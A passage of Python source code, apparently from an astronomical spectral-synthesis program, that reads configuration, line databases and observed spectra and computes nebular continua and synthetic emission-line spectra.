self.calling) obsolete_keys = list(set(init_conf.keys())-set(self.default_keys)) obsolete_keys.sort() if len(obsolete_keys) > 0: log_.message('list of variables read from {} that changed name or are obsolete:\n{}'.format(self.config_file, obsolete_keys), calling = self.calling) # to change keys automatically old_keys = ['allow_editing_lines', 'gcont_pl_alpha', 'index_of_current_ion', 'prof', 'line_field_print', 'line_saved_filename', 'line_saved_header', 'line_saved_ordered_by', 'qt_fig_adjust', 'qt_fig_bottom', 'qt_fig_hspace', 'qt_fig_left', 'qt_fig_right', 'qt_fig_top', 'show_dialogs', 'update_after_editing_lines'] new_keys = ['qt_allow_editing_lines', 'cont_pl_alpha', 'index_of_selected_ions', 'instr_prof', 'save_lines_fields', 'save_lines_filename', 'save_lines_header', 'save_lines_sort', 'fig_adjust', 'fig_bottom', 'fig_hspace', 'fig_left', 'fig_right', 'fig_top', 'qt_show_dialogs', 'qt_update_after_editing_lines'] new_name = dict(zip(old_keys, new_keys)) for key in old_keys: if key in init_conf.keys(): if new_name[key] not in init_conf.keys(): init_conf[new_name[key]] = init_conf[key] log_.message('variable \'{}\' get from old name \'{}\' from init file {}'.format(new_name[key], key, self.config_file), calling = self.calling) del init_conf[key] # to get 'cont_user_table' from old {'cont_in_lambda', 'cont_intens', 'cont_lambda'} if {'cont_in_lambda', 'cont_intens', 'cont_lambda'}.issubset(set(init_conf.keys())) and 'cont_user_table' not in init_conf.keys(): x = init_conf['cont_lambda'] y = init_conf['cont_intens'] if isinstance(x, (list,)) and isinstance(y, (list,)) and len(x) == len(y): s = '' for i in range(len(x)): s += '({}, {}), '.format(x[i], y[i]) s = s.strip(' ,') if s != '': path = 'cont_user_table = [{}]'.format(s) try: user_module = {} exec(path, user_module) value = user_module['cont_user_table'] self.set_conf('cont_user_table', value) log_.message('\'cont_user_table\' get from \'cont_lambda\' and \'cont_intens\'', calling = self.calling) except: log_.warn('Can not get \'cont_user_table\' from \'cont_lambda\' and \'cont_intens\'', calling = self.calling) self.conf.update(init_conf) # Obsolete for qt self.plot_magenta = self.get_conf('plot_magenta', None) self.label_magenta = self.get_conf('label_magenta', None) self.plot_cyan = self.get_conf('plot_cyan', None) self.label_cyan = self.get_conf('label_cyan', None) # If you DON'T want an i_cor on a main line to affect the satellites, # set the following variable to False self.set_conf('recursive_i_cor', True) # Is i_cor applied in the atomic physic database AND model database? # If this is the case, i_cor on phyat_database will be directly # applied on i_rel and will not appear as i_cor in the printed liste # of lines or with the cursor. self.set_conf('do_icor_outside_cosmetik', True) # If you want to perform cosmetik on reference lines (which have ref = 0): self.set_conf('do_icor_on_ref', True) # Here follow caracteristics of the reference line. # This line will be assumed to have a flux # at center of 1.00/A. NO!!! # Obsolete # self.set_conf('do_calcul_aire_ref', False) # self.set_conf('raie_ref ', {"vitesse" : 25.0, "lambda" : 4861.0, "profile" : 1}) # depuis 25/10/01 def get_conf(self, key=None, undefined=None, message=None): """ Return the value of the key parameter in the configuration. If key is not defined, return the value of the undefined keyword, default being None. """ if key is None: for k in self.conf.keys(): self.get_conf(k) return None if key not in self.conf: if message == 'warn': log_.warn('{0} not defined in configuration file'.format(key), calling=self.calling) elif message == 'message': log_.message('{0} not defined in configuration file'.format(key), calling=self.calling) elif message == 'error': log_.error('{0} not defined in configuration file'.format(key), calling=self.calling) else: pass return undefined else: return self.conf[key] if 'fic_modele' not in self.conf: log_.warn('fic_model not defined in configuration file', calling=self.calling) return None def set_conf(self, key, value): """ Set the value of the configuration "key" parameter to "value". """ self.conf[key] = value def read_phyat(self, phyat_file): self.phyat_file = phyat_file phyat_arr = [] for dir_ in config.DataPaths: try: phyat_arr, ErrorMsg = read_data('{0}/{1}'.format(dir_, self.phyat_file)) if ErrorMsg: ErrorMsg = 'Error in line database file \'{}\':'.format(self.phyat_file) + ErrorMsg log_.message('phyat data read from {0}/{1}'.format(dir_, self.phyat_file), calling = self.calling) break except: ErrorMsg = 'Line database file \'{}\' not found.'.format(self.phyat_file) if len(phyat_arr) == 0: log_.warn( ErrorMsg, calling = self.calling) return phyat_arr, ErrorMsg def read_model(self, model_file): ErrorMsg = '' model_arr = [] path = self.directory + model_file if not os.path.isfile(path): ErrorMsg = 'Model file \'{}\' not found.'.format(os.path.basename(path)) log_.warn(ErrorMsg, calling=self.calling) return model_arr, ErrorMsg if model_file == 'from phyat': mask = self.phyat_arr['ref'] == 999 model_arr = self.phyat_arr.copy()[mask] model_arr['num'] -= 90000000000000 model_arr['vitesse'] = 10 log_.message('data initialized from phyat', calling = self.calling) else: try: model_arr, ErrorMsg = read_data(path) if ErrorMsg == '': log_.message('cosmetik read from {0}'.format(os.path.basename(path)), calling = self.calling) else: ErrorMsg = 'Error in model file \'{0}\':'.format(os.path.basename(path)) + ErrorMsg log_.warn(ErrorMsg, calling = self.calling) log_.message('data read from {0}'.format(path), calling = self.calling) except: ErrorMsg = 'Unable to read from file \'{0}\''.format(os.path.basename(path)) log_.warn(ErrorMsg, calling = self.calling) model_arr['ref'] = 0 return model_arr, ErrorMsg def read_cosmetik_old(self): self.fic_cosmetik = self.get_conf('fic_cosmetik', message='warn') self.do_cosmetik = self.get_conf('do_cosmetik') cosmetik_arr = [] if self.do_cosmetik and self.fic_cosmetik is not None: try: cosmetik_arr, msg = read_data(self.fic_cosmetik) fic_cosmetik_ok = True log_.message('cosmetik read from {0}'.format(self.directory + self.fic_cosmetik), calling = self.calling) except: fic_cosmetik_ok = False log_.warn('unable to read from {0}'.format(self.directory + self.fic_cosmetik), calling = self.calling) return cosmetik_arr, fic_cosmetik_ok def read_cosmetik(self): self.fic_cosmetik = self.get_conf('fic_cosmetik', message='warn') self.do_cosmetik = self.get_conf('do_cosmetik') cosmetik_arr = [] ErrorMsg = '' if self.do_cosmetik and self.fic_cosmetik is not None: if os.path.isabs(self.fic_cosmetik): path = self.fic_cosmetik else: path = self.directory + self.fic_cosmetik if os.path.isfile(path): if os.path.getsize(path) > 0: cosmetik_arr, ErrorMsg = read_data(path) if ErrorMsg == '': log_.message('cosmetik read from {0}'.format(path), calling = self.calling) else: log_.warn('unable to read from {0}'.format(path), calling = self.calling) else: log_.warn('empty cosmetic file {0}'.format(path), calling = self.calling) else: log_.warn('new cosmetic file {0}'.format(path), calling = self.calling) return cosmetik_arr, ErrorMsg def read_obs(self, k_spline = 1): self.read_obs_error = '' if self.get_conf('spectr_obs') is not None: s = self.conf['spectr_obs'].split('.') if len(s) == 1: comm = '(with extention .fits, .spr, and .spr.gz) ' obs_file = self.directory + s[0] + '.spr' if not os.path.isfile(obs_file): obs_file = self.directory + s[0] + '.spr.gz' if not os.path.isfile(obs_file): obs_file = self.directory + s[0] + '.fits' else: comm = '' obs_file = self.directory + self.conf['spectr_obs'] if not os.path.isfile(obs_file): self.read_obs_error = 'Observed spectrum file \'{}\' {}not found'.format(self.conf['spectr_obs'], comm) log_.warn(self.read_obs_error, calling = self.calling) else: if obs_file.split('.')[-1] == 'fits': from astropy.io import fits self.f, header = fits.getdata(obs_file, header=True) if header['NAXIS'] == 1: dispersion_start = header['CRVAL1'] - (header['CRPIX1'] - 1) * header['CDELT1'] self.w = dispersion_start + np.arange(len(self.f)) * header['CDELT1'] else: try: self.f, header = fits.getdata(obs_file, header=True) self.f = np.mean(self.f, 1) dispersion_start = header['CRVAL2'] - (header['CRPIX2'] - 1) * header['CDELT2'] self.w = dispersion_start + np.arange(len(self.f)) * header['CDELT2'] except: self.read_obs_error = 'Observations NOT read from {0}'.format(obs_file) log_.warn(self.read_obs_error, calling = self.calling) else: try: self.obs = np.loadtxt(obs_file) log_.message('Observations read from {0}'.format(obs_file), calling = self.calling) if bool(self.get_conf('data_incl_w', undefined = False)): self.w = self.obs[:,0] self.f = self.obs[:,1] else: self.f = self.obs self.w = None if bool(self.get_conf('reverse_spectra', undefined=False)): self.f = self.f[::-1] except: self.read_obs_error = 'Observations NOT read from {0}'.format(obs_file) log_.warn(self.read_obs_error, calling = self.calling) if self.get_conf('spectr_obs') is None or len(self.read_obs_error) > 0: n_pix = (self.limit_sp[1] - self.limit_sp[0]) / self.conf['lambda_pix'] self.w = np.linspace(self.limit_sp[0], self.limit_sp[1], int(n_pix)) self.f = np.ones_like(self.w) self.set_conf('plot_residuals', False) if self.get_conf('wave_unit') == 'mu': self.w *= 10000. self.n_lambda = len(self.f) self.tab_pix = np.arange(self.n_lambda) self.f *= self.get_conf('sp_norm', undefined = 1.) if ("cal_lambda" in self.conf) and ("cal_pix" in self.conf) and (self.w is None): cal_lambda = np.array(self.conf["cal_lambda"]) cal_pix = np.array(self.conf["cal_pix"]) arg_sort = cal_lambda.argsort() cal_lambda = cal_lambda[arg_sort] cal_pix = cal_pix[arg_sort] interp_lam = interpolate.UnivariateSpline(cal_pix, cal_lambda, k=k_spline) self.w = interp_lam(self.tab_pix) log_.message('Wavelength table generated using spline of order {0}'.format(k_spline), calling = self.calling) if bool(self.get_conf('reverse_spectra', undefined=False)) : self.f = self.f[::-1] if self.limit_sp[0] < 0.01: self.limit_sp[0] = np.min(self.w) * (1. + self.get_conf("delta_limit_sp")/100.) if self.limit_sp[1] > 0.9e10: self.limit_sp[1] = np.max(self.w) * (1. - self.get_conf("delta_limit_sp")/100.) # mvfc: this is a new feature; obj_velo can be set by interpolation # obj_velo_table = [(4000,85), (4200,90), (4300,90), (6000,75), (7000,85) ] if self.get_conf('obj_velo_table') is not None and self.iterpolate_velocity: try: x = np.array([i[0] for i in list(self.get_conf('obj_velo_table'))]) y = np.array([i[1] for i in list(self.get_conf('obj_velo_table'))]) f = interpolate.interp1d(x, y) v = f((float(self.limit_sp[0])+float(self.limit_sp[1]))/2) v = int(v*100)/100. self.set_conf('obj_velo', v) except: #self.set_conf('obj_velo', 0.0) log_.warn('Error interpolating radial velocity', calling = self.calling) self.obj_velo = self.get_conf("obj_velo", undefined=0.) self.w *= 1 - self.obj_velo/(CST.CLIGHT/1e5) log_.message('Wavelenghts shifted by Vel = {} km/s'.format(self.conf["obj_velo"]), calling = self.calling) lims = ((self.w >= self.limit_sp[0]) & (self.w <= self.limit_sp[1])) log_.message('Observations resized from {0} to {1}'.format(len(self.w), lims.sum()), calling=self.calling) self.w_min = self.w[0] self.w_max = self.w[-1] self.w = self.w[lims] self.f = self.f[lims] do_shift = False if self.get_conf('lambda_shift_table') is not None: try: x = np.array([i[0] for i in list(self.get_conf('lambda_shift_table'))]) y = np.array([i[1] for i in list(self.get_conf('lambda_shift_table'))]) f = interpolate.interp1d(x, y, fill_value=0, bounds_error=False) w_shift = f(self.w) do_shift = True except: self.read_obs_error = 'Error interpolating wavelengh correction table' log_.warn(self.read_obs_error, calling = self.calling) self.w_obs = self.w.copy() self.f_ori = self.f.copy() if do_shift: correction_is_valid = True for i in range(1,len(self.w)): if ((self.w[i]+w_shift[i])-(self.w[i-1]+w_shift[i-1]))*(self.w[i]-self.w[i-1]) <= 0: correction_is_valid = False if correction_is_valid: self.w += w_shift log_.message('Wavelengths shifted', calling = self.calling) else: self.read_obs_error = 'Invalid wavelengh correction table.\nThe order of pixels must be preserved.' log_.warn(self.read_obs_error, calling = self.calling) self.w_ori = self.w.copy() resol = self.get_conf('resol', undefined = 1, message=None) log_.message('Observations resized from {0} by a factor of {1}'.format(len(self.w), resol), calling=self.calling) self.w = change_size(self.w, resol) self.f = change_size(self.f, resol) self.n_lambda = len(self.f) self.tab_pix = change_size(self.tab_pix, resol) self.lambda_pix = (np.max(self.w) - np.min(self.w)) / self.n_lambda #log_.debug('n_lambda = {}, tab_pix = {}, lambda_pix = {}'.format(self.n_lambda, self.tab_pix, self.lambda_pix), # calling = self.calling) def renorm(self, new_norm): self.f /= self.get_conf('sp_norm', undefined = 1.) self.f_ori /= self.get_conf('sp_norm', undefined = 1.) self.set_conf('sp_norm', new_norm) self.f *= self.get_conf('sp_norm', undefined = 1.) self.f_ori *= self.get_conf('sp_norm', undefined = 1.) def init_red_corr(self): self.E_BV = self.get_conf('e_bv', 0.) self.R_V = self.get_conf('r_v', 3.1) if self.E_BV > 0: RC = pn.RedCorr(E_BV = self.E_BV, law=self.get_conf('red_corr_law', message='error'), R_V=self.R_V) self.red_corr = RC.getCorr(self.w, self.get_conf('lambda_ref_rougi', message='error')) log_.message('Reddening correction set to {0}'.format(self.E_BV), calling=self.calling) else: self.red_corr = np.ones_like(self.w) def update_user_cont(self): user_cont = np.zeros_like(self.w) if self.get_conf('cont_user_table') is not None: try: x = np.array([i[0] for i in list(self.get_conf('cont_user_table'))]) y = np.array([i[1] for i in list(self.get_conf('cont_user_table'))]) kind = self.get_conf('cont_user_func') if kind == 'cubic' and len(x) < 4: kind = 'quadratic' if kind == 'quadratic' and len(x) < 3: kind = 'linear' if kind == 'linear' and len(x) < 2: kind = 'zero' user_cont_int = interpolate.interp1d(x, y, kind=kind, fill_value=0, bounds_error=False) user_cont = user_cont_int(self.w) except: self.errorMsg = 'Problem in user-defined continuum interpolation.' kinds = {'nearest', 'zero', 'linear', 'slinear', 'quadratic', 'cubic'} if kind not in kinds: self.errorMsg += '\nInvalid function' log_.message(self.errorMsg, calling = self.calling) self.cont /= self.aire_ref self.cont *= self.red_corr self.cont = self.cont - self.conts['user'] + user_cont self.cont *= self.aire_ref self.cont /= self.red_corr self.sp_synth_tot = self.convol_synth(self.cont, self.sp_synth) self.cont_lr, self.sp_synth_lr = self.rebin_on_obs() self.conts['user'] = user_cont def cont_at(self, wave, side = '-'): i_list = [i for i in range(len(self.w)-1) if self.w[i] <= wave <= self.w[i+1] or self.w[i+1] <= wave <= self.w[i]] if len(i_list) == 1: i = i_list[0] if side == '+' and i+1 in range(len(self.w)): return self.cont[i+1] else: return self.cont[i] else: return None def make_continuum(self): self.conts = {} user_cont = np.zeros_like(self.w) if self.get_conf('cont_user_table') is not None: try: x = np.array([i[0] for i in list(self.get_conf('cont_user_table'))]) y = np.array([i[1] for i in list(self.get_conf('cont_user_table'))]) kind = self.get_conf('cont_user_func') if kind == 'cubic' and len(x) < 4: kind = 'quadratic' if kind == 'quadratic' and len(x) < 3: kind = 'linear' if kind == 'linear' and len(x) < 2: kind = 'zero' user_cont_int = interpolate.interp1d(x, y, kind=kind, fill_value=0, bounds_error=False) user_cont = user_cont_int(self.w) except: self.errorMsg = 'Problem in user-defined continuum interpolation.' kinds = {'nearest', 'zero', 'linear', 'slinear', 'quadratic', 'cubic'} if kind not in kinds: self.errorMsg += '\nInvalid function' log_.message(self.errorMsg, calling = self.calling) cont_pix = self.get_conf("cont_pix", 0.) if cont_pix != 0: arg_sort = np.array(cont_pix).argsort() user_cont_int = interpolate.interp1d(np.array(cont_pix)[arg_sort], np.array(self.get_conf("cont_intens", message='error'))[arg_sort]) user_cont = user_cont_int(self.tab_pix) self.conts['user'] = user_cont bb_cont = np.zeros_like(self.w) if "cont_bb_t" in self.conf: if np.ndim(self.conf["cont_bb_t"]) == 0: tab_T = np.array([self.conf["cont_bb_t"]]) tab_I = np.array([self.conf["cont_bb_i"]]) else: tab_T = np.array(self.conf["cont_bb_t"]) tab_I = np.array(self.conf["cont_bb_i"]) for I, T in zip(tab_I, tab_T): bb_cont += I * Planck(self.w, T) / T**4 self.conts['bb'] = bb_cont pl_cont = np.zeros_like(self.w) # Power law if "cont_pl_alpha" in self.conf: if np.ndim(self.conf["cont_pl_alpha"]) == 0: tab_alpha = np.array([self.conf["cont_pl_alpha"]]) tab_I = np.array([self.conf["cont_pl_i"]]) else: tab_alpha = np.array(self.conf["cont_pl_alpha"]) tab_I = np.array(self.conf["cont_pl_i"]) for I, alpha in zip(tab_I, tab_alpha): pl_cont += I * (self.w / 5000.)**alpha self.conts['pl'] = pl_cont if self.conf["cont_hi_i"] != 0.: alfa = 1e-13 * 0.668 * (self.conf["cont_hi_t"]/1e4)**(-0.507) / \ (1. + 1.221*(self.conf["cont_hi_t"]/1e4)**(0.653)) * 1.000 emis_Hi = alfa * CST.HPLANCK * CST.CLIGHT * 1e8 / 4861.3 # erg/s.cm3 H_cont = self.conf["cont_hi_i"] * make_cont_Ercolano(self.conf["cont_hi_t"],'H',airtovac(self.w)) / emis_Hi H_cont[~np.isfinite(H_cont)] = 0. self.conts['H'] = H_cont else: self.conts['H'] = np.zeros_like(self.w) if self.conf["cont_hei_i"] != 0.0: alfa = 1e-13 * 0.331 * (self.conf["cont_hei_t"]/1e4)**(-0.615) / \ (1. + 0.910*(self.conf["cont_hei_t"]/1e4)**(0.780)) * 0.7986 emis_Hei = alfa * CST.HPLANCK * CST.CLIGHT * 1e8 / 4471.5 He1_cont = self.conf["cont_hei_i"] * make_cont_Ercolano(self.conf["cont_hei_t"],'He1',airtovac(self.w)) / emis_Hei He1_cont[~np.isfinite(He1_cont)] = 0. self.conts['He1'] = He1_cont else: self.conts['He1'] = np.zeros_like(self.w) if self.conf["cont_heii_i"] != 0.0: alfa = 2. * 1e-13 * 1.549 * (self.conf["cont_heii_t"]/1e4/4.)**(-0.693) / \ (1. + 2.884*(self.conf["cont_heii_t"]/1e4/4.)**(0.609))*1.000 emis_Heii = alfa * CST.HPLANCK * CST.CLIGHT * 1e8 / 4685.8 He2_cont = self.conf["cont_heii_i"] * make_cont_Ercolano(self.conf["cont_heii_t"],'He2',airtovac(self.w)) / emis_Heii He2_cont[~np.isfinite(He2_cont)] = 0. self.conts['He2'] = He2_cont else: self.conts['He2'] = np.zeros_like(self.w) gff_HI = gff(1., self.conf["cont_hi_t"], self.w) gff_HeI = gff(1., self.conf["cont_hei_t"], self.w) gff_HeII = gff(4., self.conf["cont_heii_t"], self.w) #32.d0*!phy.e^4.*!phy.h/3./!phy.m_e^2./!phy.c^3.*sqrt(!dpi*13.6*!phy.erg_s_ev/3./!phy.k)= 6.8391014e-38 if self.conf["cont_hi_i"] != 0 and self.conf["cont_hei_i"] != 0 and self.conf["cont_heii_i"] != 0 : FF_cont = (6.8391014e-38 * CST.CLIGHT * 1e8 / self.w**2. * ( self.conf["cont_hi_i"] * 1.0**2. / np.sqrt(self.conf["cont_hi_t"]) * np.exp(-CST.HPLANCK*CST.CLIGHT*1e8/self.w/CST.BOLTZMANN/self.conf["cont_hi_t"]) * gff_HI/emis_Hi + self.conf["cont_hei_i"] * 1.0**2./ np.sqrt(self.conf["cont_hei_t"]) * np.exp(-CST.HPLANCK*CST.CLIGHT*1e8/self.w/CST.BOLTZMANN/self.conf["cont_hei_t"]) * gff_HeI/emis_Hei + self.conf["cont_heii_i"] * 2.0**2. / np.sqrt(self.conf["cont_heii_t"]) * np.exp(-CST.HPLANCK*CST.CLIGHT*1e8/self.w/CST.BOLTZMANN/self.conf["cont_heii_t"]) * gff_HeII / emis_Heii)) FF_cont[~np.isfinite(FF_cont)] = 0. self.conts['FF'] = FF_cont else: self.conts['FF'] = np.zeros_like(self.w) # 2-photons #http://adsabs.harvard.edu/abs/1984A%26A...138..495N if self.conf["cont_hi_i"] != 0: y = 1215.7 / self.w A = 202.0 * (y * (1. - y) * (1. -(4. * y * (1 - y))**0.8) + 0.88 * ( y * (1 - y))**1.53 * (4. * y * (1 - y))**0.8) alfa_eff = 0.838e-13 * (self.conf["cont_hi_t"] / 1e4)**(-0.728) # fit DP de Osterbrock q = 5.31e-4 * (self.conf["cont_hi_t"] / 1e4)**(-0.17) # fit DP de Osterbrock n_crit = 8.226 / q twophot_cont = self.conf["cont_hi_i"] * CST.HPLANCK * CST.CLIGHT * 1e8 / self.w**3. * 1215.7 * A / 8.226 * alfa_eff / (1. + self.conf["cont_edens"]/n_crit) / emis_Hi twophot_cont[~np.isfinite(twophot_cont)] = 0. self.conts['2photons'] = twophot_cont else: self.conts['2photons'] = np.zeros_like(self.w) self.cont = np.zeros_like(self.w) for key in self.conts: self.cont += self.conts[key] self.cont *= self.aire_ref self.cont /= self.red_corr def plot_conts(self, ax, keys = None): if self.sp_synth_lr is None: return colors = {'bb': 'cyan', 'pl': 'green', '2photons': 'blue', 'FF': 'red', 'H': 'red', 'He1': 'green', 'He2': 'blue', 'user': 'black'} labels = {'bb': 'bb', 'pl': 'pl', '2photons': '2q', 'FF': 'ff', 'H': 'H I', 'He1': 'He I', 'He2': 'He II', 'user': 'user cont'} if keys == None: keys = self.conts.keys() for key in keys: if key[0] == 'H': style=':' else: style = '-' ax.plot(self.w, self.conts[key], linestyle=style, label = labels[key], color = colors[key]) if 'user' in keys: if self.get_conf('cont_user_table') is not None: x = np.array([i[0] for i in self.get_conf('cont_user_table')]) y = np.array([i[1] for i in self.get_conf('cont_user_table')]) ax.plot(x, y, marker='o', ms=6, color = colors['user'], ls = '') y = [self.cont_at(w) for w in x] y[0] = self.cont_at(x[0], '+') ax.plot(x, y, marker='o', ms=8, color = 'green', ls = '') ax.plot(self.w, self.cont, label = 'total cont', linestyle='--', linewidth = 1.5, color = 'green') ax.legend() def append_lists(self, phyat_arr, model_arr, cosmetik_arr): n_models = len(model_arr) liste_totale = phyat_arr.copy() liste_totale.resize(len(phyat_arr) + len(model_arr)) for i,j in enumerate(np.arange(len(phyat_arr), len(phyat_arr) + len(model_arr))): liste_totale[j] = model_arr[i] sp_theo = {} sp_theo['raie_ref'] = model_arr sp_theo['correc'] = np.zeros(n_models) sp_theo['spectr'] = np.zeros((n_models, len(self.w))) if "do_icor_outside_cosmetik" in self.conf: liste_totale.i_rel *= liste_totale.i_cor liste_totale.i_cor = 1. sp_theo['raie_ref'].i_rel *= sp_theo['raie_ref'].i_cor sp_theo['raie_ref'].i_cor = 1. if self.do_cosmetik: for line_cosmetik in cosmetik_arr: if (line_cosmetik['ref'] == 0) and not bool(self.conf['do_icor_on_ref']): log_.warn('No cosmetik on {0}, reference line'.format(line_cosmetik['num']), calling = self.calling) else: to_change = (liste_totale.num == line_cosmetik['num']) if to_change.sum() == 1: line_to_change = liste_totale[to_change][0] if (line_to_change['lambda'] == line_cosmetik['lambda']) or (line_cosmetik['l_shift'] == 0.): line_to_change['l_shift'] = line_cosmetik['l_shift'] if (line_to_change['i_rel'] == line_cosmetik['i_rel']) or (line_cosmetik['i_cor'] == 1.): line_to_change['i_cor'] = line_cosmetik['i_cor'] liste_totale[to_change] = line_to_change log_.debug('Cosmetik on {0}'.format([line_cosmetik]), calling=self.calling) elif to_change.sum() == 0: if self.get_conf('warn_on_no_cosmetik'): log_.warn('No cosmetik on {0}, undefined line'.format(line_cosmetik['num']), calling = self.calling) else: log_.warn('No cosmetik on {0}, multiple defined line'.format(line_cosmetik['num']), calling = self.calling) liste_raies = self.restric_liste(liste_totale) log_.message('Size of the line list: {0}, size of the restricted line list: {1}'.format(len(liste_totale), len(liste_raies)), calling=self.calling) if self.do_cosmetik: for line_cosmetik in cosmetik_arr: if bool(self.conf['do_icor_on_ref']): to_change = (liste_raies.num == line_cosmetik['num']) if to_change.sum() == 1: line_to_change = liste_raies[to_change][0] line_to_change['vitesse'] *= line_cosmetik['vitesse'] if line_cosmetik['profile'] != -1: line_to_change['profile'] = line_cosmetik['profile'] liste_raies[to_change] = line_to_change return sp_theo, liste_totale, liste_raies def restric_liste(self, liste_in): """ This function changes liste_in """ """ We set ref=999 for all the lines depending on a 999 one. """ while True: the_end = True non_affich = np.where(liste_in['ref'] == 999)[0] for i_999 in non_affich: this_num = liste_in['num'][i_999] dep_non_affich = ((liste_in['ref'] == this_num) & (liste_in['ref'] != 999)) if dep_non_affich.sum() != 0: before = liste_in['ref'][dep_non_affich] liste_in['ref'][dep_non_affich] = 999 log_.message('Before = {0}, After = {1}'.format(before, liste_in['ref'][dep_non_affich]), calling=self.calling) the_end = False if the_end: break where_restr = (((liste_in['lambda'] + liste_in['l_shift']) < np.max(self.w)) & ((liste_in['lambda'] + liste_in['l_shift']) > np.min(self.w)) & (liste_in['ref'] != 999)) liste_out = liste_in.copy()[where_restr] log_.message('Old size = {0}, new_size = {1}'.format(len(liste_in), len(liste_out)), calling=self.calling) last_loop = 0 the_end = False while True: if last_loop == 1: the_end = True satellites = np.where(liste_out['ref'] != 0)[0] for i_satellite in satellites[::-1]: if liste_out['ref'][i_satellite] != -1: raie_synth = liste_out[i_satellite].copy() i_main_line = np.where(liste_in['num'] == raie_synth['ref'])[0] if len(i_main_line) != 1: if self.get_conf('warn_on_no_reference'): log_.warn('Satellite sans raie de reference:{0} looking for {1}'.format(raie_synth['num'], raie_synth['ref']), calling=self.calling) raie_synth['i_rel'] = 0.0 raie_synth['comment'] = '!pas de ref' + raie_synth['comment'] else: main_line = liste_in[i_main_line] if main_line['ref'] != 0: raie_synth['i_rel'] *= main_line['i_rel'] raie_synth['ref'] = main_line['ref'] if bool(self.conf['recursive_i_cor']): raie_synth['i_cor'] *= main_line['i_cor'] raie_synth['profile'] = main_line['profile'] last_loop = 2 log_.debug('filling {0} with {1}'.format(liste_out[i_satellite]['num'], main_line['num']), calling = self.calling) if last_loop == 1: raie_synth['i_rel'] *= main_line['i_rel'] raie_synth['vitesse'] *= main_line['vitesse'] raie_synth['l_shift'] += main_line['l_shift'] if bool(self.conf['recursive_i_cor']): raie_synth['i_cor'] *= main_line['i_cor'] raie_synth['profile'] = main_line['profile'] log_.debug('filling {0} with {1}, last loop'.format(liste_out[i_satellite]['num'], main_line['num']), calling = self.calling) liste_out[i_satellite] = raie_synth if last_loop == 0: last_loop = 1 else: last_loop = 0 if the_end: break tt = (np.abs(liste_out['i_rel']) > 1e-50) log_.message('number of lines with i_rel > 1e-50: {0}'.format(tt.sum()), calling=self.calling) return liste_out[tt] def make_synth_test(self, liste_raies): sp_theo = self.sp_theo.copy() sp_synth = np.zeros_like(self.w) sp_theo['spectr'] *= 0.0 sp_theo['correc'] *= 0.0 for raie in liste_raies: #sp_tmp = self.profil_emis(self.w, raie, self.conf['lambda_shift']) sp_tmp = self.get_profile(raie) aire = np.trapz(sp_tmp, self.w) if np.isfinite(aire) and (aire != 0.): max_sp = np.max(sp_tmp) if (np.abs(sp_tmp[0]/max_sp) > 1e-3) or (np.abs(sp_tmp[-1]/max_sp) > 1e-3): log_.message('Area of {0} {1} could be wrong'.format(raie['id'].decode().strip(), raie['lambda']), calling = self.calling) intens_pic = raie['i_rel'] * raie['i_cor'] * self.aire_ref / aire if raie['ref'] == 0: tab_tmp = (sp_theo['raie_ref'].num == raie['num']) else: tab_tmp = (sp_theo['raie_ref'].num == raie['ref']) this_line = intens_pic * sp_tmp if not no_red_corr(raie): this_line /= self.red_corr if not is_absorb(raie): sp_synth += this_line sp_theo['spectr'][tab_tmp] += this_line sp_theo['correc'][tab_tmp] = 1.0 tt = (sp_theo['correc'] != 0.) for key in ('correc', 'raie_ref', 'spectr'): sp_theo[key] = sp_theo[key][tt] log_.message('Number of theoretical spectra: {0}'.format(len(sp_theo['correc'])), calling=self.calling) return sp_theo, sp_synth def make_synth(self, liste_raies, sp_theo): sp_synth = np.zeros_like(self.w) sp_theo['spectr'] *= 0.0 sp_theo['correc'] *= 0.0 #TODO parallelize this loop for raie in liste_raies: #sp_tmp = self.profil_emis(self.w, raie, self.conf['lambda_shift']) sp_tmp = self.get_profile(raie) aire = np.trapz(sp_tmp, self.w) if np.isfinite(aire) and (aire != 0.): max_sp = np.max(sp_tmp) if (np.abs(sp_tmp[0]/max_sp) > 1e-3) or (np.abs(sp_tmp[-1]/max_sp) > 1e-3): log_.message('Area of {0} {1} could be wrong'.format(raie['id'].decode().strip(), raie['lambda']), calling = self.calling) intens_pic = raie['i_rel'] * raie['i_cor'] * self.aire_ref / aire log_.debug('{} aire = {}'.format(raie['num'], aire), calling=self.calling) if raie['ref'] == 0: tab_tmp = (sp_theo['raie_ref'].num == raie['num']) else: tab_tmp = (sp_theo['raie_ref'].num == raie['ref']) this_line = intens_pic * sp_tmp if not no_red_corr(raie): this_line /= self.red_corr if not is_absorb(raie): sp_synth += this_line sp_theo['spectr'][tab_tmp] += this_line sp_theo['correc'][tab_tmp] = 1.0 log_.debug('doing line {}'.format(raie['num']), calling=self.calling) tt = (sp_theo['correc'] != 0.) for key in ('correc', 'raie_ref', 'spectr'): sp_theo[key] = sp_theo[key][tt] log_.message('Number of theoretical spectra: {0}'.format(len(sp_theo['correc'])), calling=self.calling) return sp_theo, sp_synth def make_sp_abs_original(self, sp_theo): if sp_theo is None: return None sp_tau = np.zeros_like(self.w) """ WARNING check also misc.is_absorb(raie) """ index_abs = is_absorb(self.sp_theo['raie_ref']) for i_abs in index_abs: sp_tau += self.sp_theo['spectr'][i_abs] * self.sp_theo['correc'][i_abs] sp_abs = np.exp(sp_tau) if self.get_conf('fic_atm') is not None: if type(self.get_conf('fic_atm')) not in (list, tuple): self.conf['fic_atm'] = (self.conf['fic_atm'],) self.conf['coeff_atm'] = (self.conf['coeff_atm'],) self.conf['shift_atm'] = (self.conf['shift_atm'],) if len(self.get_conf('fic_atm')) != len(self.get_conf('coeff_atm')): log_.error('fic_atm number {} != coeff_atm number {}'.format(len(self.get_conf('fic_atm')), len(self.get_conf('coeff_atm'))), calling = self.calling) for fic_atm, coeff_atm, shift_atm in zip(self.get_conf('fic_atm'), self.get_conf('coeff_atm'), self.get_conf('shift_atm')): try: d = np.genfromtxt(fic_atm, dtype=None, names=('wl', 'abs')) d['wl'] = vactoair(d['wl'], self.conf['vactoair_inf'], self.conf['vactoair_sup']) if type(coeff_atm) not in (list, tuple): coeff_atm = (coeff_atm, ) if type(shift_atm) not in (list, tuple): shift_atm = (shift_atm, ) for c_atm, s_atm in zip(coeff_atm, shift_atm): abs_interp = interpolate.interp1d(d['wl']*(1+s_atm/CST.CLIGHT*1e5), d['abs']) sp_abs *= np.exp(np.log(abs_interp(self.w)) * c_atm) except: log_.warn('Problem in using data from {}'.format(fic_atm), calling = self.calling) # sp_abs /= self.red_corr return sp_abs def make_sp_abs(self, sp_theo, index_abs=None): if sp_theo is None: return None sp_tau = np.zeros_like(self.w) """ WARNING check also misc.is_absorb(raie) 